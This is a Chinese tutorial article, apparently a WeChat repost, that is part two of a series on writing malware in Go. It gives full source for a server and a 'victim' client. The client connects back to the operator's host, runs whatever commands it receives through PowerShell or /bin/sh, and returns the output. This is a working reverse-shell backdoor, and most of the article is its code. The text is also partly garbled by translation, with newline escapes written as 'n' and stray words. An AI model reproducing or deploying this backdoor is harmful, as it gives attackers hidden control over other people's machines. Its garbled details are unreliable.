欢迎回来!!现在我们已经启动并运行了 TCP 服务器和客户端,是时候加强工作了。在这一部分中,我们将深入探讨如何在目标计算机上执行我们的第一个系统命令。在本指南结束时,您将了解如何远程发送和运行命令。
如果您错过了前面的部分,您可以在此处查看: Part(I)
As our project grows and adds more features, putting all the code in one file will make it messy and hard to manage. Troubleshooting errors will become a challenge, so to keep things organized and easy to navigate, we'll separate functionalities into different files and directories.Before diving into the command execution feature, let's take some time to tidy up our file structure.
让我们从服务器端开始,结构将如下所示:
#Server Side (main.go) package main import ( "../Server/Core/handleConnection" "log" "net" ) func main() { var connection net.Conn ip := "192.168.1.4" port := "19090" connection, err := handleconnection.ConnectWithVictim(ip, port) if err != nil { log.Fatal(err) } defer connection.Close() fmt.Println("Connection Established:"+connection.RemoteAddr().String())
如您所见,没有很多变化 ,只是一些调整,该文件将包含用于设置连接的代码。establishConnection.go
#Server Side (establishConnection.go) package handleconnection import ( "net" ) func ConnectWithVictim (ip string , port string) (connection net.Conn , err error) { localAddress := ip + ":" + port listener , err :=net.Listen("tcp",localAddress) if err != nil { return connection , err } connection , err = listener.Accept() if err != nil { return connection , err }else { return } }
所有这些代码都在前面的 PART 中进行了解释,所以如果你错过了,请随时查看!我们只是做了一些调整来改进结构。
开关。。
现在让我们继续 Victim 端,结构将如下所示:
#Victim Side (main.go) package main import ( "fmt" "log" ) func main() { serverIP := "192.168.1.4" port := "19090" connection, err := handleconnection.ConnectionWithServer(serverIP,port) if err != nil { log.Fatal(err) } defer connection.Close() fmt.Println("Connection Established:",connection.RemoteAddr().String())
如您所见,也没有太多更改,另一个 main.go 文件 underfile 将保存连接的代码。handleConnection.go
#Victim Side (handleconnectionmain.go) package handleconnection import ( "net" ) func ConnectionWithServer(ServerIP string, Port string) (connection net.Conn, err error) { ServerAddress := ServerIP + ":" + Port connection, err = net.Dial("tcp", ServerAddress) if err != nil { return } return }
做出这些调整后,我们现在可以继续我们的旅程了。
S0 ..
第 1 步:初始化
#Server Side (main.go) .. reader := bufio.NewReader(os.Stdin) loopControl := true
该代码初始化缓冲读取器,用于从标准输入(通常是键盘)读取输入,而布尔变量设置为 true 以管理程序的主循环。bufio.NewReader(os.Stdin)
loopControl
第 2 步:主循环
for loopControl {
这将启动一个循环,只要 为 ,该循环就会继续运行。loopControl
true
步骤 3:显示选项
Options() fmt.Print("[Choose Options ] ")
该函数显示可用命令列表,供用户从 中选择。Options()
.. func Options() { fmt.Println("[1] > Execute Command") fmt.Println("[99] > Exit") fmt.Println() } ..
第 4 步:读取用户输入
userInputRaw, err := reader.ReadString('n') if err != nil { fmt.Println(err) continue }
该方法从用户那里读取一行输入,直到遇到换行符,并将结果存储在 中。如果在此过程中发生错误,例如关闭 input stream,则程序将打印错误消息并继续进行循环的下一次迭代。reader.ReadString('n')
userInputRaw
步骤 5:清理用户输入
userInput := strings.TrimSpace(userInputRaw)
strings.TrimSpace(userInputRaw)
从用户输入中删除任何前导和尾随空格字符(包括换行符),并将清理后的输入存储在 中。userInput
步骤 6:将用户输入发送到连接
_, err = connection.Write([]byte(userInput + "n")) if err != nil { fmt.Println("Failed to send data:", err) continue }
此方法将用户的输入(后跟换行符)发送到连接的远程计算机。
如果在此操作期间发生错误,程序将打印错误消息并继续循环的下一次迭代。
第 7 步:处理用户选项:
switch userInput { case "1": fmt.Println("[+] Command Execution Program") err := executecommandwindows.ExecuteCommandswindowsRemotely(connection) displayError(err) case "99": fmt.Println("[+] Exiting The Program") loopControl = false default: fmt.Println("[-] Invalid Option, Try again") }
switch 语句处理不同的用户输入:如果用户输入“1”,则程序识别执行命令的意图,打印确认消息,并调用在远程计算机上运行命令,将遇到的任何错误传递给函数以处理 ,设置为 false,结束循环并退出程序。对于任何其他输入,它会打印无效的选项消息并提示用户重试。ExecuteCommandswindowsRemotely()
displayError(err)
loopControl
.. func displayError(err error) { if err != nil { fmt.Println(err) } } ..
这是完整的代码:
#Server Side (main.go) package main import ( "../Server/Core/executeCommandWindows" "../Server/Core/handleConnection" "bufio" "fmt" "log" "net" "os" "strings" ) func Options() { fmt.Println("[1] > Execute Command") fmt.Println("[99] > Exit") fmt.Println() } func displayError(err error) { if err != nil { fmt.Println(err) } } func main() { var connection net.Conn ip := "192.168.1.4" port := "19090" connection, err := handleconnection.ConnectWithVictim(ip, port) if err != nil { log.Fatal(err) } defer connection.Close() fmt.Println("Connection Established: " + connection.RemoteAddr().String()) reader := bufio.NewReader(os.Stdin) loopControl := true for loopControl { Options() fmt.Print("[Choose Options ] ") userInputRaw, err := reader.ReadString('n') if err != nil { fmt.Println(err) continue } userInput := strings.TrimSpace(userInputRaw) _, err = connection.Write([]byte(userInput + "n")) if err != nil { fmt.Println("Failed to send data:", err) continue } switch userInput { case "1": fmt.Println("[+] Command Execution Program") err := executecommandwindows.ExecuteCommandswindowsRemotely(connection) displayError(err) case "99": fmt.Println("[+] Exiting The Program") loopControl = false default: fmt.Println("[-] Invalid Option, Try again") } } }
现在,让我们深入研究 executeCommandWindows 文件中的函数 ,以探索如何执行命令。ExecuteCommandswindowsRemotely()
S0 ..
第 1 步:包声明和导入
package executecommandwindows import ( "bufio" "encoding/gob" "os" "strings" )
该函数是包的一部分,并导入必要的包: 用于缓冲 I/O、 编码/解码数据、 操作系统功能和字符串操作。executecommandwindows
bufio
gob
os
strings
第 2 步:命令结构体
type Command struct { CmdOutput string CmdError string }
该结构包含已执行命令的输出和错误消息。Command
第 3 步:函数声明
func ExecuteCommandswindowsRemotely(connection net.Conn) error {
该函数将对象作为参数,表示与 server 的连接。ExecuteCommandswindowsRemotely
net.Conn
第 4 步:缓冲读取器初始化
reader := bufio.NewReader(os.Stdin) commandLoop := true
创建缓冲读取器以从标准输入读取命令,并对其进行初始化以控制命令执行的循环。commandLoop
true
第 5 步:命令输入循环
for commandLoop { fmt.Print(">> ") command, err := reader.ReadString('n') if err != nil { fmt.Println("Error reading command:", err) continue }
它会读取一行 input,直到遇到换行符。如果在 input 读取期间发生错误,它会打印错误并继续进行下一次迭代。
步骤 6:清理用户输入
command = strings.TrimSpace(command)
通过删除前导和尾随空格(包括换行符)来清理用户输入。
步骤 7:向远程连接发送命令
_, err = connection.Write([]byte(command + "n")) if err != nil { fmt.Println("Failed to send command:", err) continue }
已清理的命令将发送到远程连接,后跟换行符。如果在发送时发生错误,它会打印错误消息并继续进行下一次迭代。
第 8 步:退出条件
if command == "stop" { commandLoop = false break }
如果用户输入 stop,则循环退出,停止进一步的命令执行。
第 9 步:接收和解码响应
cmdStruct := &Command{} decoder := gob.NewDecoder(connection) err = decoder.Decode(cmdStruct) if err != nil { fmt.Println("Failed to decode response:", err) continue }
将创建一个新结构来保存响应。A 初始化为从连接中读取。响应被解码为 ,如果在解码过程中发生错误,则会打印一条错误消息,并继续循环。Command
gob.Decoder
cmdStruct
采空区
步骤 10:打印命令输出和错误
fmt.Println(cmdStruct.CmdOutput) if cmdStruct.CmdError != "" { fmt.Println("Error:", cmdStruct.CmdError) }
将打印已执行命令的输出。如果在 中捕获到任何错误,也会打印出来。CmdError
第 11 步:Return 语句:
return nil
该函数最后返回 ,指示它已成功完成且没有错误。nil
这是完整的代码:
#Server Side (executeCommandWindowsexecute.go) package executecommandwindows import ( "bufio" "encoding/gob" "fmt" "net" "os" "strings" ) type Command struct { CmdOutput string CmdError string } func ExecuteCommandswindowsRemotely(connection net.Conn) error { reader := bufio.NewReader(os.Stdin) commandLoop := true for commandLoop { fmt.Print(">> ") command, err := reader.ReadString('n') if err != nil { fmt.Println("Error reading command:", err) continue } command = strings.TrimSpace(command) _, err = connection.Write([]byte(command + "n")) if err != nil { fmt.Println("Failed to send command:", err) continue } if command == "stop" { commandLoop = false break } cmdStruct := &Command{} decoder := gob.NewDecoder(connection) err = decoder.Decode(cmdStruct) if err != nil { fmt.Println("Failed to decode response:", err) continue } fmt.Println(cmdStruct.CmdOutput) if cmdStruct.CmdError != "" { fmt.Println("Error:", cmdStruct.CmdError) } } return nil }
ExecuteCommandswindowsRemotely () 函数允许用户输入要在远程计算机上执行的命令。它读取用户命令,通过网络连接发送命令,接收输出和任何错误,并将此信息显示给用户,并可选择停止命令执行循环。
现在我们已经完成了服务器端代码,并且它已经完全准备好在远程计算机上执行任何系统命令,是时候继续进行受害者端实现了。让我们准备好客户端,以便它可以与服务器通信并响应命令。
S0 ..
1. 缓冲读取器设置
reader := bufio.NewReader(connection)
创建缓冲读取器以从远程连接读取数据,允许程序以块(通常是逐行)处理传入数据,从而更容易处理通过网络发送的命令或输入。
2. Loop Control 设置
loopControl := true for loopControl {
这将设置一个循环,只要变量为 ,该循环就会持续运行。循环的主要工作是持续侦听来自连接的命令,然后对它们做出反应。当设置为 时,循环将停止,当用户选择退出程序时,就会发生这种情况。loopControl
true
loopControl
false
3. 从连接读取输入
userInputRaw, err := reader.ReadString('n') if err != nil { fmt.Println("Error reading from connection:", err) continue }
程序尝试从连接中读取一行 Importing。如果它成功地从连接的计算机读取命令或输入,它将继续处理它。如果在读取时出现错误(例如,如果连接断开),则会打印错误,并再次启动循环。这可确保程序不会因输入问题而崩溃。
4. 调整和清理输入
userInput := strings.TrimSpace(userInputRaw)
在这里,通过修剪任何不需要的空格或换行符来清理从连接接收的输入。这可确保即使用户发送额外的空格或使用换行符输入命令,程序也会正确处理它。
5. 通过 Switch Case 处理用户输入
switch userInput { case "1": fmt.Println("[+] Executing Windows Command") err := executesystemcommands.CommandswindowsRemotelyExecution(connection) DisplayError(err) case "99": fmt.Println("[-] Exiting Program") loopControl = false default: fmt.Println("[-] Invalid Option Received from Server") }
在最后一个代码段中,程序使用 switch 语句来处理不同的输入。如果输入为 “1”,则程序将打印一条消息,指示它将执行 Windows 命令,然后调用该函数将命令发送到远程计算机执行。如果在此过程中发生任何错误,则会将其传递给函数进行处理。如果输入为 “99”,则程序打印一条消息并设置 ,这将停止循环并正常退出程序。如果收到任何其他输入,程序将打印一条消息,通知该选项无效并等待有效输入,从而阻止程序处理无法识别的命令或输入。CommandswindowsRemotelyExecution()
DisplayError(err)
loopControl = false
这是主文件的完整代码
#Victim Side (main.go) package main import ( "../Victim/Core/executeSystemCommands" "../Victim/Core/handleConnection" "bufio" "fmt" "log" "strings" ) func DisplayError(err error) { if err != nil { fmt.Println(err) } } func main() { serverIP := "192.168.1.4" port := "19090" connection, err := handleconnection.ConnectionWithServer(serverIP, port) if err != nil { log.Fatal(err) } defer connection.Close() fmt.Println("Connection Established: ", connection.RemoteAddr().String()) reader := bufio.NewReader(connection) loopControl := true for loopControl { userInputRaw, err := reader.ReadString('n') if err != nil { fmt.Println("Error reading from connection:", err) continue } userInput := strings.TrimSpace(userInputRaw) switch userInput { case "1": fmt.Println("[+] Executing Windows Command") err := executesystemcommands.CommandswindowsRemotelyExecution(connection) DisplayError(err) case "99": fmt.Println("[-] Exiting Program") loopControl = false default: fmt.Println("[-] Invalid Option Received from Server") } } }
如您所见,正如我们之前讨论的那样,我们使用了另一个模块 ,它负责处理远程机器上的命令创建和执行。executesystemcommands.CommandswindowsRemotelyExecution
让我们深入研究并探索如何逐步执行这些命令。这将帮助我们了解远程执行的工作原理、命令的发送和接收方式以及输出的处理方式。
S0 ..
1. 初始化和命令循环设置
reader := bufio.NewReader(connection) commandLoop := true
创建一个缓冲读取器,以便从已建立的网络连接中读取命令。该变量初始化为 ,允许循环继续执行,直到满足要停止的条件。commandLoop
true
2. 读取用户输入
for commandLoop { userInputRaw, err := reader.ReadString('n') if err != nil { fmt.Println("Error reading command:", err) continue } userInput := strings.TrimSpace(userInputRaw)
在循环中,该函数读取用户输入,直到遇到换行符。如果在此读取过程中出现错误(如果连接丢失),它会打印一条错误消息并继续循环的下一次迭代。然后,通过修剪任何前导或尾随空格来清理用户输入。
3. 停止条件
if userInput == "stop" { commandLoop = false }
该函数检查已清理的用户输入是否等于 。如果是这样,则变量设置为 ,这将中断循环并允许函数退出。stop
commandLoop
false
4. 命令执行逻辑
else { fmt.Println("[+] Executing User Command: ", userInput) var cmdInstance *exec.Cmd if runtime.GOOS == "windows" { cmdInstance = exec.Command("powershell.exe", "/C", userInput) } else { cmdInstance = exec.Command("/bin/sh", "-c", userInput) }
如果用户输入不是 ,则程序将打印一条消息,指示正在执行哪个命令。它使用 .根据操作系统是 Windows 还是 Linux,它通过创建命令实例 () 来准备要执行的命令。stop
runtime.GOOS
cmdInstance
5. 捕获输出和错误
var output bytes.Buffer var commandErr bytes.Buffer cmdInstance.Stdout = &output cmdInstance.Stderr = &commandErr err = cmdInstance.Run() if err != nil { fmt.Println("Command execution error:", err) }
该函数设置缓冲区以从命令执行中捕获标准输出和标准错误。它使用 运行命令,执行命令并使用命令的输出和执行过程中发生的任何错误填充缓冲区。cmdInstance.Run()
6. 打包和发送结果
cmdStruct := &Command{ CmdOutput: output.String(), CmdError: commandErr.String(), } encoder := gob.NewEncoder(connection) err = encoder.Encode(cmdStruct) if err != nil { fmt.Println("Error encoding command output:", err) continue }
执行命令后,输出和任何错误都存储在结构体中。然后,该函数用于对此结构进行编码,并通过 connection 将其发送回去。如果在此编码过程中出现错误,它会打印错误消息并继续等待下一个命令。Command
gob
这是主文件的完整代码
#Victim Side (executeSystemCommandsexecute.go) package executesystemcommands import ( "bufio" "bytes" "encoding/gob" "fmt" "net" "os/exec" "runtime" "strings" ) type Command struct { CmdOutput string CmdError string } func CommandswindowsRemotelyExecution(connection net.Conn) (err error) { reader := bufio.NewReader(connection) commandLoop := true for commandLoop { userInputRaw, err := reader.ReadString('n') if err != nil { fmt.Println("Error reading command:", err) continue } userInput := strings.TrimSpace(userInputRaw) if userInput == "stop" { commandLoop = false } else { fmt.Println("[+] Executing User Command: ", userInput) var cmdInstance *exec.Cmd if runtime.GOOS == "windows" { // Windows command cmdInstance = exec.Command("powershell.exe", "/C", userInput) } else { // Linux command cmdInstance = exec.Command("/bin/sh", "-c", userInput) } var output bytes.Buffer var commandErr bytes.Buffer cmdInstance.Stdout = &output cmdInstance.Stderr = &commandErr err = cmdInstance.Run() if err != nil { fmt.Println("Command execution error:", err) } cmdStruct := &Command{ CmdOutput: output.String(), CmdError: commandErr.String(), } encoder := gob.NewEncoder(connection) err = encoder.Encode(cmdStruct) if err != nil { fmt.Println("Error encoding command output:", err) continue } } } return nil }
总体而言,此代码处理从远程连接发送的命令的执行。它读取命令,根据操作系统执行命令,捕获结果,并将这些结果发回 ,同时允许连续的命令输入,直到用户决定停止。
让我们测试一下我们的代码。
建立连接后,系统将提示我们在执行命令或退出之间进行选择。按 1 执行系统命令,按 99 退出。当我们按 1 时,您可以开始输入要在远程机器上运行的系统命令。
我们执行第一个命令 ,它显示 目录内容 .dir
接下来,我们执行命令,该命令返回并显示网络配置。ipconfig
有了这个功能,我们成功地在服务器和客户端之间建立了一个完整的通信通道,使我们能够远程执行系统命令。
总之,通过在 Golang 中构建 TCP 服务器和客户端,并添加在远程机器上运行命令的功能,我们取得了长足的进步。
这是向前迈出的一大步,因为我们已经建立了稳固的连接并成功执行了命令。从这里开始,我们将深入研究更多令人兴奋的功能,以将事情提升到一个新的水平。请继续关注我们旅程的下一步!
原文始发于微信公众号(安全狗的自我修养):Go :恶意软件开发(第二部分)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论